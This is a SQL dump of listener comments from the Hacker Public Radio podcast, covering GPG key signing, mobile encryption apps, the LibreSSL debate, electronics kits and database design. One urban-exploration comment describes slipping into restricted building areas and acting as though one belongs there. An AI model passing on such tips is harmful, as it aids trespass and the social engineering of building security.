(839,1500,'2014-05-09 17:31:12','Bert Yerke','','I attend the key-signing party at SCaLE every year. Phil Dibowitz usually hosts and has done so for many years. He recommends not to do any actual signing at the party but rather use a worksheet to verify the keys and then follow up at home or in your hotel room) after the party. First each participant reads his/her fingerprint while the rest of us check it off on the list. Then we form a \"conga line\" to verfy identity with some form of picture ID. Passports are the most trusted form of ID.\r\nThere is more information at Phil\'s website:\r\nhttps://www.phildev.net/pgp/gpgsigning.html\r\nHe also has a program to do some of the heavy lifting:\r\nhttps://www.phildev.net/pius/\r\nPIUS can be used to manage the party and to follow up after. It is a nice way to process each of the new keys, requiring intervention only to set validation level and it also mails the signed key to the owner automagically.\r\n\r\nHope that helps,\r\nBert','2022-02-14 13:16:40'),
(840,1500,'2014-05-10 07:35:07','Ken Fallon','Conga line fail ?','Hi Bert,\r\n\r\nYou might want to also listen to https://hackerpublicradio.org/eps.php?id=1461 where Dave reports on his experiences in a conga line.\r\n\r\nKen.','2022-02-14 13:16:41'),
(841,1500,'2014-05-15 15:10:45','Dave Morriss','Next time music?','Hey Bert,\r\n\r\nThanks for mentioning PIUS. I received a few signatures from people using this after this year\'s FOSDEM.\r\n\r\nI realise now what else was missing from the FOSDEM \"conga\" - music :-)\r\n\r\nDave','2017-09-09 07:41:25'),
(842,1500,'2014-05-17 21:31:30','Alison Chaiken','import existing keys from server into APG?','Has anyone figured out how to import existing public keys from a keyserver into APG?   The help the app provides is quite limited.   I don\'t see any advantage to creating a new key for my phone.   Am I missing something?\r\n\r\nExcellent series, Ahuka.   I installed mailvelope as well.','2017-09-09 07:41:25'),
(843,1500,'2014-05-17 22:15:15','Alison Chaiken','not all keys appear in \"encrypt for\" list?','The list of keys I can encrypt for is much shorter than the list of keys I successfully imported.    Anyone else have this problem?   Restarting the browser did not help.','2017-09-09 07:41:25'),
(844,1500,'2014-05-18 09:30:50','Alison Chaiken','Mailvelope, APG and K9mail working!','It has taken me a couple of hours, but I have Mailvelope, APG and K9mail working on my Android phone as well as on my laptop.    I finally figured out that there is a hidden tab that allows APG to import keys from keyservers.   For K9mail, since I use two-factor authentication with gmail, I had to set up an \"application-specific password.\"   I put my secret key on my phone by MTPFS mounting it, copying the ASCII-armored secret key to Downloads folder, importing it into APG, and then remounting the folder to delete it.  \r\n\r\nUseful links:\r\nhttps://www.minertechsolutions.com/blogs/how-to-configure-your-android-phone-with-gmail-using-k-9-mail-more/\r\n\r\nhttps://android.stackexchange.com/questions/54559/how-do-i-setup-a-gmail-account-with-2-step-verification-in-k-9-mail','2022-02-14 13:16:41'),
(845,1503,'2014-04-24 00:19:14','NYbill','Oops, misspoke...','I just realized, toward the end of the episode, I made a hypothetical example of a 3v AC wave going positive for 3v then negative for 3v.  I called it \"3v peak to peak\".\r\n\r\nThis would of course be 6v, peak to peak.\r\n\r\n','2017-09-09 07:41:25'),
(846,1503,'2014-05-11 04:50:30','Peter64','','Looking forward to listening to this one NYBill, have looked at these things numerous times, just don\'t have a good enough reason to buy one though.','2017-09-09 07:41:25'),
(847,1503,'2014-05-12 21:26:16','Peter','Bugger','Now I not only want one of these but a breadboard, 555 timer &amp; all the other cool stuff to play with, Good stuff.','2017-09-09 07:41:25'),
(848,1503,'2014-05-29 19:14:32','NYbill','Ha, sorry Pete. ','I shouldn\'t show you my 3 multi-meters as well then...  You\'ll want more toys. ;)','2017-09-09 07:41:25'),
(849,1507,'2014-05-17 17:27:17','dodddummy','Tuxradar is still tuxradar, right?','If my memory is good for the one day since I listened, a listener gave feedback that tuxradar is now linux voice.  And the hosts confirmed that.  But tuxradar is still going and linux voice, while consisting of most of the old tux radar people is a different entity.  In theory both will be awesome linux podcasts into the future and beyond.\r\n\r\nOr is my catcher fibbing to me?','2017-09-09 07:41:25'),
(850,1507,'2014-05-19 14:47:26','Dave Morriss','You are quite right','It was a comment by tonieee on https://hackerpublicradio.org/eps.php?id=1482 pointing out that the hosts from TuxRadar had relocated to the Linux Voice magazine and podcast.\r\n\r\nApologies to all if we gave the wrong impression. I actually subscribe to both magazines and both podcasts and enjoy them all.','2022-02-14 13:16:41'),
(851,1509,'2014-05-15 18:51:41','ClaudioM','Working...','I have finally gotten an idea for a series that I think would be worthy of HPR.  It\'s still in the planning stages, but I hope to have the initial episode available soon.  I\'ll also be sure to throw in some random episodes on how I found Linux or something like that.  Thanks again for HPR!','2017-09-09 07:41:25'),
(852,1512,'2014-12-15 12:24:26','M&aring;ns M&aring;rtensson','Teacher','I wonder if you know TiddlyWiki?\r\nhttps://tiddlywiki.com\r\nI\'ve been using it for music text books, note books etc...\r\nIt is searchable and downloadable as a single file. It can save changes from a browser and be used/edited locally on a pc or online via a plethora of backends or simply with a small php script.\r\nHere are a couple of examples I made myself:  TW classic: https://xn--mns-ula.dk/sky/apps/files_sharing/get.php?token=45ea57138089eeb535e36cee53b8831076041bf5 \r\nThe new TW: https://bopland-tw5.tiddlyspot.com/\r\n\r\nCheers M&aring;ns M&aring;rtensson, Denmark','2022-02-14 13:16:42'),
(853,1513,'2014-05-21 03:12:23','Phalax','Interesting','This show was really interesting. Love the for dummies way you present the otherwise somewhat hard to understand topic. Great show!','2017-09-09 07:41:25'),
(854,1513,'2014-05-21 13:39:58','My5t3r102','','Really enjoyed this one. Found it interesting and engaging. I would very much like to hear some of your other topics. ','2017-09-09 07:41:25'),
(855,1513,'2014-05-21 13:43:01','My5t3r102','Really enjoyed this one! ','Found it engaging and informative. Would very much like to hear you on other topics. ','2017-09-09 07:41:25'),
(856,1513,'2014-05-21 22:51:46','Quvmoh','Awesome','Best episode ever!','2017-09-09 07:41:25'),
(857,1513,'2014-05-22 10:34:45','NE5C1U5','good','wow! this was actaully REALLY good! much better than all other stuff i heard here','2017-09-09 07:41:25'),
(858,1513,'2014-05-22 14:37:09','Epicanis','I guess I should do more of these','Thanks Phalax and My5t3r102 (and elmussol over on the blog) for the quick feedback - sounds like this format has at least a few fans, so I\'ve bumped it up on my \"potentially upcoming topics\" list and I\'ll plan on doing more.\r\n\r\nI have a pretty large stack of papers and subjects available, but more suggestions are also welcome!','2017-09-09 07:41:25'),
(859,1513,'2014-05-23 13:24:22','mcnalu','Good and different','This was good and something rather unique too. Informative, funny, quirky.','2017-09-09 07:41:25'),
(860,1513,'2014-05-24 10:18:37','Epicanis','There will be more','Thanks also Quvmoh, NE5C1U5, and mcnalu (and if anyone is waiting in the moderation queue, thank you, too.)\r\n\r\nAfter these comments, I\'ll definitely be doing more of these.','2017-09-09 07:41:25'),
(861,1514,'2014-05-23 11:59:58','mcnalu','Enjoyed it','Enjoyed the show, and the very next morning I installed mhWaveEdit (via slackbuilds.org) and recorded and edited my next HPR show with it!','2017-09-09 07:41:25'),
(862,1517,'2014-06-09 21:23:30','klaatu','every number','I did not know that any number greater than 1 was either prime or could expressed as a product of primes. Thanks for this informative episode!','2017-09-09 07:41:25'),
(863,1518,'2014-06-02 12:22:31','davidWHITMAN','Great List','As an internet audio junkie this is a great list.\r\nThanks','2017-09-09 07:41:25'),
(864,1518,'2014-06-02 15:19:15','Ken Fallon','Working on my basement filling my nas','Thanks Dave. \r\n\r\nBoredom killer and NAS filler.','2017-09-09 07:41:25'),
(865,1518,'2014-06-04 08:38:41','Dave Morriss','Thanks guys','Thanks davidWHITMAN and Ken Fallon for the positive feedback.\r\n\r\nI was convinced I had created the perfect soporific here, but maybe not after all :-)','2017-09-09 07:41:25'),
(866,1522,'2015-02-16 16:05:10','Windigo','Creating a bridge interface','So glad you submitted this episode, Klaatu. I recently turned to Docker/containers to share my web development environment across machines/reinstalls, and stumbled when it came to create a bridge interface.\r\n\r\nFor anyone else looking, here\'s the command Klaatu mentioned:\r\n\r\nip link add br0 type bridge','2017-09-09 07:41:25'),
(867,1523,'2014-06-04 11:09:13','Ken Fallon','Comment Viewer','There isn\'t, as yet, the possibility of a RSS feed with this comment software but do have a page that lists all comments. This is linked on the P of HPR and under About > Show Comments\r\nhttps://hackerpublicradio.org/comments_viewer.php\r\n','2022-02-14 13:16:42'),
(868,1523,'2014-06-07 13:29:26','Ken Fallon','New Comment Feed','Please test https://hackerpublicradio.org/comments_rss.php\n\nThere are some issues with the encoding not been UTF-8. This is a item that needs to be fixed with the comment system in general.','2022-02-14 13:16:42'),
(869,1523,'2014-06-08 14:12:49','Ken Fallon','Trigger comment','This is a test comment to trigger all the RSS feeds. By the way we get one comment spam every 2 minutes. Well done to all the spammers out there.','2017-09-09 07:41:25'),
(870,1524,'2014-06-06 06:54:32','etalas','I\'ve thought the 8char key IDs aren\'t enough nowadays','Only listened to the first third yet (nice talk so far, questions from the audience are a little hard to understand) but I\'ve thought the eight character key IDs aren\'t enough nowadays b/c it\'s too easy to create a keypair that has the same first eight chars of an ID. I think there was something Debian-related about this a few years back.\r\n\r\nIn the meantime I came across those two helpful links regarding GPG/PGP:\r\n  - why you should use subkeys: https://wiki.debian.org/Subkeys\r\n  - a \"best practices\" for OpenPGP: https://we.riseup.net/riseuplabs+paow/openpgp-best-practices ([EDIT: replaced by https://help.riseup.net/en/security/message-security/openpgp/gpg-best-practices)\r\n\r\nkeep up the good work!','2017-09-09 07:41:25'),
(871,1527,'2014-06-06 00:26:06','pokey','You too!','I thought I was the only one.\r\n\r\nI love GPS... probably to an unhealthy degree.\r\n\r\nThanks for the episode.','2017-09-09 07:41:25'),
(872,1527,'2014-06-13 14:06:44','rocket-dog','','One question, are we there yet?','2017-09-09 07:41:25'),
(873,1529,'2014-06-12 09:44:43','Ken Fallon','Disagree with your comments on LibReSSL','As ever I enjoyed this show and broadly agree with many of your points. I would first like to strongly disagree with the section where you discuss LibReSSL before adding another suggestion.\r\n\r\nYour Ad hominem argument against Theo de Raadt (10:23:00) was unmerited, and while people may criticise his tact, he has a long history of producing and managing secure projects.\r\nFrom https://en.wikipedia.org/wiki/Theo_de_Raadt: \"He is the founder and leader of the OpenBSD and OpenSSH projects\". \r\n\r\nTo address your other points in that section.\r\n1. \"I would stick with OpenSSL and give LibReSSL a pass, at least until such a time as they show a long track record of success\".\r\nThe developers of LibReSSL have a long track record of success as they are the same people that bring you OpenSSH. They are noted for been able to produce secure software. So much so that Linux Torvalds said of the team, \"I think the OpenBSD crowd is a bunch of masturbating monkeys, in that they make such a big deal about concentrating on security to the point where they pretty much admit that nothing else matters to them.\" From a practical point of view everyone running any Linux Distribution is more than likely already running and trusting OpenSSH.\r\nFrom https://www.libressl.org/: \"LibReSSL is primarily developed by the OpenBSD Project\". \r\nFrom https://www.openssh.com/: OpenSSH is developed by the OpenBSD Project.\r\n\r\n2. \"A good general rule in security is that new code is much more dangerous than code that has been around for a long time\"\r\nThe whole heart bleed issue proves this to be false. The rule itself is based on the premise that if it\'s around a long time, many people have reviewed the code and many bugs have been fixed. This is a rewording of \"given enough eyeballs, all bugs are shallow\", Linus\'s_Law argument which you yourself criticise in the episode. \r\nhttps://en.wikipedia.org/wiki/Linus\'s_Law \r\n\r\nMany people skip the caveats in the formal version \"Given a large enough beta-tester and co-developer base, almost every problem will be characterized quickly and the fix will be obvious to someone\". The heart bleed code was caused by not having a large enough beta-tester and co-developer base, and yet this is exactly what the OpenBSD Project brings to the table.\r\n\r\nFurthermore LibReSSL is not \"new code\", but rather it is \"forked code\". They are fixing old existing bugs on OpenSSL and nothing is preventing OpenSSL from implementing the fixes they discover.\r\n\r\n3. Your argue that removing code and \"stuff they don\'t care about\" doesn\'t look good.\r\nI would point out that that is not a bad thing and was widely supported when LibreOffice forked OpenOffice. Michael Meeks celebrates this by publicising 38,714 known unused methods in LibreOffice. \"One of the unfortunate things that LibreOffice inherited, as part of the several decades worth of unpaid technical debt, is unused code that has been left lying around indefinitely. This was particularly unhelpful when mingled with the weight and depth of the useful code we have around the place.\"\r\nFrom https://people.gnome.org/~michael/blog/2012-01-09-unused.html \r\n\r\nSo finally I would suggest that \"Mono Culture is bad\" should be added to your list. Having (cooperating) competing systems, is not a bad thing as it encourages development, and innovation. Over reliance on any one piece of software is a bad thing. We saw that in the fields of Operating systems, web browsers and now in Security Libraries. ','2022-02-14 13:16:42'),
(874,1529,'2014-06-13 01:15:53','Kevin O\'Brien','Why I said that...','I still maintain that tested code is better than untested code, and nothing tsts it more than time. The OpenSSL code worked well for a long time until a very subtle error crept in. So the question is whether we will more quickly get to a more secure state by developing a mature code base or by throwing it out and starting over. In general, I maintain that fixing the mature code is a better practice.\r\n\r\nSecond, announcing almost immediately that that you have thrown out 90,000 lines of code (the number I recall) does not tom e suggest careful thought so much as a hack-and-slash mentality, and I don\'t like that in security. Calm deliberation usually works better.\r\n\r\nThird, from the reports I read one of the things that was discarded as an unnecessary feature was Windows compatibility. Even though I support free software, I recognize that we need to share the Internet with a shit-ton of Windows machines, and I would prefer that they be as secure as possible.\r\n\r\nI totally agree on Mono culture, and I hope that LibreSSL provides good competition. I did not mean to imply that LibreSSL should not exist, only that Iwould be very cautious about adopting anything unproven.','2017-09-09 07:41:25'),
(875,1529,'2014-06-13 16:00:04','Ken Fallon','You many not have researched this enough','To be clear this is *not*, as you say, \"starting over\". They started with the existing OpenSSL code and worked from their. So they are using the exact same \"mature code\" and any issue they find are also issues in OpenSSL. Once fixed they are added to LibReSSL and _remain_ in OpenSSL. However, Do not mistake \"old code\" for \"tested code\". It was not tested, which was your third point \"Bugs are not shallow if the eyeballs are not there.\" Now that people *are* looking at the code bugs are been found. Case in point the new team brought on board by the Linux Foundation to help fix OpenSSL reported on 5th June 2014: CVE-2014-0224: \"a Man-in-the-middle (MITM) attack where the attacker can decrypt and modify traffic from the attacked client and server.\"\r\n\r\nSo let\'s look at what was actually removed in the first week. arstechnica have an interview with Theo de Raadt and he describes exactly what they removed.\r\nhttps://arstechnica.com/information-technology/2014/04/openssl-code-beyond-repair-claims-creator-of-libressl-fork/\r\n--------------------------------------------------------\r\nde Raadt said there were \"Thousands of lines of VMS support. Thousands of lines of ancient WIN32 support. Nowadays, Windows has POSIX-like APIs and does not need something special for sockets. Thousands of lines of FIPS support, which downgrade ciphers almost automatically.\"\r\n...\r\nThere were also \"thousands of lines of APIs that the OpenSSL group intended to deprecate 12 years or so ago and [are] still left alone.\"\r\n...\r\nDe Raadt told ZDNet that his team has removed 90,000 lines of C code. \"Even after all those changes, the codebase is still API compatible,\" he said. \"Our entire ports tree (8,700 applications) continue to compile and work after all these changes.\"\r\n--------------------------------------------------------\r\n\r\nSo to summarise the facts:\r\n90,000 lines of *unused* or *obsolete* code is removed from the LibReSSL code base.\r\n90,000 lines of *unused* or *obsolete* code remains in the OpenSSL code base.\r\n\r\nIf the Industry Average is 17.5 errors per 1000 lines of code*, and there are 90,000 lines of code, we can calculate that the OpenSSL code has 1,575 MORE errors than LibReSSL\r\n\r\n( 90000 / 1000 ) x ( ( 50 - 15 ) / 2 ) = 1,575 \r\n* \"Code Complete\" by Steve McConnell. \r\nBlame Charles in NJ if my math is wrong.','2022-02-14 13:16:43'),
(876,1529,'2014-06-14 20:49:15','Kevin O\'Brien','Good point','It looks like I may have been a bit hasty in my comments about the code being removed. Your points certainly seem reaosnable. Correction accepted.','2017-09-09 07:41:25'),
(877,1531,'2014-06-17 17:36:15','Ken Fallon','Toaster ?!?','I do not think it means what you think it means\r\n\r\nhttps://en.wikipedia.org/wiki/Toaster\r\n','2022-02-14 13:16:43'),
(878,1531,'2014-06-21 01:20:47','jezra','does a toaster really need to make toast?','P.S. \r\nhttps://www.jezra.net/blog/no_it_doesnt_make_toast_anymore\r\n','2022-02-14 13:16:43'),
(879,1532,'2014-06-17 17:49:01','Ken Fallon','Good plan','\r\nGood idea and also useful for HPR. Can you give us some sample files to work from please.\r\n\r\nCan you also give us clearer view on what the Inputs and Outputs are, as well as rules that you want.\r\n\r\nYou mentioned ifthisthenthat ( IFTTT ) but reading https://ifttt.com/privacy would not lend itself to FLOSS solution.','2017-09-09 07:41:25'),
(880,1533,'2014-05-24 12:49:14','mcnalu','Erratum 2:','In the notes, the list is most used/liked FIRST. Doh^2!','2017-09-09 07:41:25'),
(881,1536,'2014-06-24 18:45:04','NYbill','They still make them...','Just an FYI if anyone wants to get a kit like CPromt is talking about, there is still a company making them.  Just do a search on Amazon or somewhere for a company called Elenco.  These would make a neat \'retro\' electronics kit for a youngster. ','2017-09-09 07:41:25'),
(882,1536,'2014-06-24 18:57:47','NYbill','','Found it: https://www.elenco.com/search/searchdetails/130-in-1_electronics_playground=MjA0\r\n\r\n(admins: you can just paste this link to my last comment if you\'d like.)','2022-02-14 13:16:44'),
(883,1536,'2014-06-25 20:51:35','CPrompt^','Thanks!','That\'s awesome!  Glad they still make these.  Was great fun when I was young...and now :)','2017-09-09 07:41:25'),
(884,1536,'2014-06-26 10:52:52','Ken Fallon','Available at amazon','These are available in Amazon :) Ordering some this weekend.','2017-09-09 07:41:25'),
(885,1536,'2014-06-26 18:08:05','NYbill','','Yea, we played with one when we were kids as well, Cprompt.  It was at my Grandparents house.  The Radio Shack one.  Probably the same one you had.  I remember my cousin and I doing a project once that was a \"dog whistle\" (humans can\'t hear it).  We pictured getting all the dogs in the neighborhood howling and running up to us. \r\n\r\nWe wired the project up in about 30min, Then sat on the porch for hours disturbing not one dog. Heh...  And because we couldn\'t hear it we had to keep checking the wiring thinking we had it hooked up wrong. \r\n\r\nYour going to get one Ken? Cool! I bet your kids will enjoy it. You could probably get a episode out of it with you and your son doing one of the projects and talking about it. (You owe me a show!)  :P','2017-09-09 07:41:25'),
(886,1536,'2014-06-27 00:57:50','pokey','I had this!','I got this very kit for Christmas one year. I didn\'t complete many of the projects before I started experimenting on my own and fried a couple of the components, rendering most of the projects useless, but I did love it. If only I had been given this kit just a couple or few years later....\r\n\r\nGreat episode! It really brought back some fun memories. The projects that I remember completing were the door alarm, the flood alarm, the light meter and the fish caller. I know I did a couple more with the light sensor too, and of course I was circuit bending before circuit bending was called circuit bending. I\'m pretty sure that\'s how I fried components too.','2017-09-09 07:41:25'),
(887,1536,'2014-06-30 20:11:40','Deltaray','Snap circuits','Snap Circuits (https://www.snapcircuits.net/) fit the bill these days for inspiring young kids to learn about electronics.','2022-02-14 13:16:44'),
(888,1536,'2014-10-20 22:40:54','plan9fan','','Great episode!!! Not only did I learn that my wife owns this very kit, but that she too was into electronics as a young adult. What a women.','2017-09-09 07:41:25'),
(889,1537,'2014-06-27 01:05:54','pokey','Nice','I make my coffee in a percolator, and I like it much better than a drip machine. We decided to get ours after our third drip machine in 5 years burned out it\'s boiling coil, and we were pleasantly surprised at how much we like how this makes coffee. We also love that it can pour coffee without spilling any, which can not be said of 99% of drip machines that I\'ve used. I find that I like my coffee a little weaker when I percolate it than when I make it with a dripper. \r\n\r\nMy daughter just finished reading Little Brother by Cory Doctoro, and she liked the part about cold brew coffee, so we\'ll probably try that too. Maybe I\'ll be able to review it on the HPR_AudioBookClub. ;)','2017-09-09 07:41:25'),
(890,1538,'2014-06-27 01:13:47','pokey','Good show. Thank you.','I don\'t have any websites, but I thoroughly enjoyed listening to you reason out your problem, your solution and the method you used to get there. I really like listening to your episodes. Thanks.','2017-09-09 07:41:25'),
(891,1538,'2014-06-28 16:38:41','Dave Morriss','Wayback machine','Hi Jon,\r\n\r\nVery impressive show. You said you wished you had a before and after for your site.\r\n\r\nI looked on the Wayback Machine and there are old versions of the School of Music\'s site going back in time, though whether they are what you are looking for I don\'t know.\r\n\r\nHave a look at https://web.archive.org/web/20130128225830/https://music.louisiana.edu/ for example.\r\n\r\nDave','2022-02-14 13:17:16'),
(892,1538,'2014-07-07 10:52:51','Jon Kulp ','Thanks Dave! ','Wow Dave, thanks for the tip. Wayback indeed had the previous version of our site. Kinda scary. I just want it to go away haha! ','2017-09-09 07:41:25'),
(893,1549,'2014-07-18 19:21:46','pokey','Cool stuff','Indeed! Thanks.','2017-09-09 07:41:25'),
(894,1551,'2014-07-25 04:56:12','pokey','Very interesting','And very tempting. Have you made any profit from this yet?','2017-09-09 07:41:25'),
(895,1553,'2014-07-25 04:54:34','pokey','Fun ep','I listened to this on a long drive, and it kept me sane in some insane traffic. Thank you. I don\'t think we share the same taste in music, but I really enjoyed the talkie bits.','2017-09-09 07:41:25'),
(896,1554,'2014-07-22 07:45:01','Colin ','Journey comments','Hi guys, great episode!\r\n\r\nMy comments on the journey were really well covered. I did think that a bit more description would be nice. Not like Tolkien, but just some basics, to give more of an idea of there surroundings. I also thought that there is little sense of time in terms of there travels. I do accept the point that the book is probably more accessible partly because this is not detailed.','2017-09-09 07:41:25'),
(897,1554,'2014-08-03 15:53:40','brijwhiz','Journey comments and next book podcast','Hello team, fabulous choice. The last time I heard the audio bookclub it was a long time ago and thanks to this podcast I heard the fantastic series of the solar clipper. \r\nOnce again I had the pleasant experience of listening to a fantastic podiobook thanks to your recommendation. \r\nIn addition to thanking you I wanted to add two points from my side.\r\n\r\n1. Journey comments:\r\n\r\nI agree with all of you that Tolkein and Robert Jordan style meandering (while I love it) may not work for all. However having no sense of time or space does make the book a bit less in my opinion. I think Nathan Lowell found a happy medium path in his solar clipper series where the vast expanse of his universe is shown without being over detailed. \r\n\r\n2. I have already bought his print books to read, but I was very interested to find out if he ever did come out with another audio book. I thought I heard mention of it, but I could not find it on the interwebs.\r\n\r\nOnce again thank you all for your efforts.\r\n\r\n','2017-09-09 07:41:25'),
(898,1558,'2014-07-23 18:12:12','Mark Waters','Thanks','Thanks for sharing , that was a great episode , makes me want to go urban exploring.','2017-09-09 07:41:25'),
(899,1558,'2014-07-24 07:42:14','Ken Fallon','You *must* get a recording device for mobile interviews','Hi Christopher,\r\n\r\nA fantastic episode. As I was listening to all the tours you got I couldn\'t help thinking \"record that as a HPR show\". \r\n\r\nSo get yourself a Zoom, and a Sanza Clip as a backup and get recording. Getting some business cards printed out also helps as it makes the people more comfortable been recorded.\r\n\r\nKen.','2017-09-09 07:41:25'),
(900,1558,'2014-07-25 04:50:45','pokey','Cool topic','I almost thought I was listening to myself though. I explore in much the same way, and would have given many of the same tips, right down to the hammock. +1 for acting natural, being truthful, and avoiding private property. The shopping bag was a new one on me though. I\'ll consider it.\r\n\r\nI prefer to explore on my free time, and nap on my lunch break. I like to walk for hours when I\'m in the woods.\r\n\r\nI made my own hammock for camping, and I made a small one just for sitting in if i\'m out walking in the woods. I had to re-tie it several times to get it right, but it\'s nice to sit in.\r\n\r\nIf you record traces of the trails that you walk, I\'d be happy to add them into openstreetmap.org for you, if you\'re interested, and if you\'re not already editing it yourself.\r\n\r\nI love exploring buildings too, and I do it every chance I get. I love to see attics, basements, sub-basements, frame work, etc... I love to see how old buildings were built, and just honor the craftsmanship. Sometimes you get to see \"so-and-so was here\" and a date from long ago. That\'s always a real treat. I once got to go in a clock in a tower, and watch the guy wind it.\r\n\r\nThanks for the great episode. It was a real treat.','2017-09-09 07:41:25'),
(901,1558,'2014-07-30 11:42:00','Beeza','Lunchbreak Exploration','I loved this episode.\r\n\r\nI\'ve worked in all sorts of places and always spent my breaks exploring my surroundings - sometimes within a building and sometimes further afield.\r\n\r\nWhen I used to work for a UK government department I was staggered at how easy it was to access some supposedly restricted areas.\r\n\r\nMany office buildings have a floor above the top of the liftshaft. It\'s not so much that you\'re not supposed to go there - just that nobody expects you to. That often provides unofficial access to adjacent companies in shared buildings.\r\n\r\nYour tip to \"look like you have a right to be there\" is fundamental to the whole \"hobby\".','2017-09-09 07:41:25'),
(902,1563,'2014-07-31 07:59:58','etalas','','You know, you could just put a little function for your incremental sleep and subshelling/backgrounding on top of your rc.local executing the cmd passed as parameters and then use this w/o needing to remember to increase the sleep parameter.','2017-09-09 07:41:25'),
(903,1566,'2014-08-05 08:30:25','Steve Bickle','How /etc is pronounced','/etc is not pronounced etcetera because it actually stands for \'extended text configuration\' hence the et\'c pronunciation.\r\n\r\nOk that\'s me done with my \"somebody\'s wrong on the Internet\" moment for now ;-)','2017-09-09 07:41:25'),
(904,1566,'2014-08-07 13:53:05','Dave Morriss','Et cetera, and so forth','Hi Steve,\r\n\r\nThanks for responding to my random mutterings.\r\n\r\nYou know, I had never heard that explanation, and didn\'t know there had been/is a war about this pronunciation.\r\n\r\nHere\'s my experience: I encountered my first Unix system in the 1970\'s. I was working at Lancaster University and we were evaluating a Harris (sp?) system. We reckoned the directory was \"et cetera\" and nobody told us otherwise. We didn\'t buy a Harris.\r\n\r\nAt my next job in the 1980\'s I attended a course run by HP on their HP-UX system where I am certain the trainer called /etc \"et cetera\". We did end up with HP, Sun, Apollo, SGI and DEC Unix flavours thereafter, and in none of them was /etc ever anything other than \"et cetera\".\r\n\r\nI have heard it called \"slash ee tee cee\" but that\'s probably an anomaly.\r\n\r\nPlus, Wikipedia reckons \"et cetera\" is correct and \"extended text configuration\"/\"et see\" is a backronym. I have to say it certainly smells of backronym and folk etymology to me :-)\r\n\r\nI rest my case ...','2017-09-09 07:41:25'),
(905,1566,'2014-08-08 13:10:08','Mike Ray','/etc blah blah','I agree with Dave.  My first encounter with Unix was with a Honeywell Bull System V box in 1991 and technical and educational docs from Honeywell Bull themselves called it \'etcetera\'.  I like the pronunciation \'etsy\' though','2017-09-09 07:41:25'),
(906,1568,'2014-08-11 04:24:36','klaatu','Amazing!','This is really really cool! I am not really interested in voice-driven computing myself but I have to admit that this is really pretty nice.\r\n\r\nOn the flip side of all this, I wonder what is involved in creating the voice for the computer. If someone sat down and recorded every word in the dictionary, can those samples be strung together for a more natural-sounding computer voice? or is it more technical and programmatic than that?\r\n\r\nOne wonders.','2017-09-09 07:41:25'),
(907,1569,'2014-08-08 11:52:18','Dave Morriss','Thanks for an impressive show','Hi Mike,\r\n\r\nThanks for your comprehensive explanation of this subject.\r\n\r\nIt\'s a difficult one to convey in a podcast, but the very detailed notes and examples helped enormously.','2017-09-09 07:41:25'),
(908,1569,'2014-08-10 21:03:44','Mike Ray','Hope it wasn\'t too long and technical','Thanks Dave.  I tried very hard to make a complex subject as engaging as possible.  It\'s likely to be pretty boring for a lot of listeners.  SQLite3 makes writing a real-world example very simple though.  I hope that nice Mr. Fallon feels suitably chastised','2017-09-09 07:41:25'),
(909,1569,'2014-08-11 12:57:23','Ken Fallon','Brilliant episode but I\'m still not convinced','Hi Mike,\r\n\r\nNo doubt about it, this was a brilliant episode on Many-to-many data relationships. The episode and show notes are excellent, and you even made *some* progress in convincing me that a linking table may be needed. I would have liked a more detailed explanation as to why it\'s a bad idea to use a comma separated list backed with actual processor utilization tests to prove this. Even then I\'m willing to argue that the choice of a more inefficient method, is better if the system can be kept simpler. Remember that HPR is a volunteer run effort and we cannot guarantee that we will always have DBA\'s available to help out. I am more than happy to select a less efficient process if it means that more people can understand it.\r\n\r\nDon\'t forget that the purpose of the database is to support the distribution of shows. The shows are primarily distributed using RSS and therefore we do not have a choice in the data model, as that is imposed upon us. While a show->host may be better modeled in a Relational database as a many to many relationship the fact is that in a RSS Item element it is a 1:1 relationship. As in: there can be only one //item/author element in the feed, so what we are trying to do isn\'t even possible in RSS 2.0. In the Atom syndication standard it is possible to do it using either multiple atom:author or atom:contributor elements. However even in that case it is still a 1:n relationship and not a many to many. A show is an independent item and has 1 or more authors or 0 or more contributors.\r\n\r\nAlso the use of an RDBMS is a legacy of our history and could change in the future. As DeepGeek suggested a long time ago, it should be possible to run the entire system using XSLT to merge XML fragments. This is now well supported by Atom (atom:source) and HTML5 (html:article). In this case the back end could conceivably not even have a database.\r\n\r\nAs Dave is aware, I may change my mind over night and accept your vision but today I\'m still not convinced. \r\n\r\n- https://www.rssboard.org/rss-specification#ltauthorgtSubelementOfLtitemgt\r\n- https://tools.ietf.org/html/rfc4287#page-24\r\n- https://www.w3.org/html/wg/drafts/html/master/sections.html#the-article-element\r\n- https://en.wikipedia.org/wiki/Relational_database\r\n\r\nKen.','2022-02-14 13:17:17'),
(910,1569,'2014-08-11 17:38:05','Mike Ray','Scalability','Hello Ken.  I take your point about XML Atom feeds.  A big drawbig of XML is it is stuck with representing top-down, tree-like structures.\r\n\r\nWhat you are doing by putting a comma-seperated list of values in a single column of a table is turning another table through 90 degrees.  The problem, apart from the obvious one of there now being data items in this table that are not identified by the key, is one of scalability.  How long is the field? 1024 characters?  What happens when it runs out of space?\r\n\r\nI know that in this application you are not exactly writing a multi-user client/server database application with many concurrent users and transactions happening every few tens of milliseconds, but compromises should not be made in the interest of programmer comfort with the SQL.  That ultimately leads to performance compromises.\r\n\r\nBut even with the largish number of shows to date and the number of hosts, it doesn\'t represent a big dataset.  But a system which can support something big from the start will not need tearing down and re-hashing as things grow.\r\n\r\nI guess your hands are a bit tied if you don\'t know the future platform resources, like whether you will always have a sensible RDBMS back-end available.\r\n\r\nMy show was pretty theoretical.  I\'m more used to large systems.  In the past I have worked on e-commerce systems for big vendors, and on world-wide client/server stuff.\r\n\r\nI usually take the attitude that a heavy-duty solution can handle small-fry without breaking into a sweat, but the reverse is not true.  That\'s scalability','2017-09-09 07:41:25'),
(911,1569,'2014-08-16 18:43:51','Ken Fallon','Scalability is not an issue.','I figured out that we could comfortably store 10,000 comma separated hosts into a row before we would have to worry. That episode would take five hours just to introduce the hosts. \r\n\r\nI don\'t think that Scalability is an issue.','2017-09-09 07:41:25'),
(912,1569,'2014-08-16 21:46:12','Mike Ray','Scalability','Some time in the year nineteen-canteen, the first man to write a mainframe program said; \"nah, I\'ll just use two bytes for the year...\" :)','2017-09-09 07:41:25'),
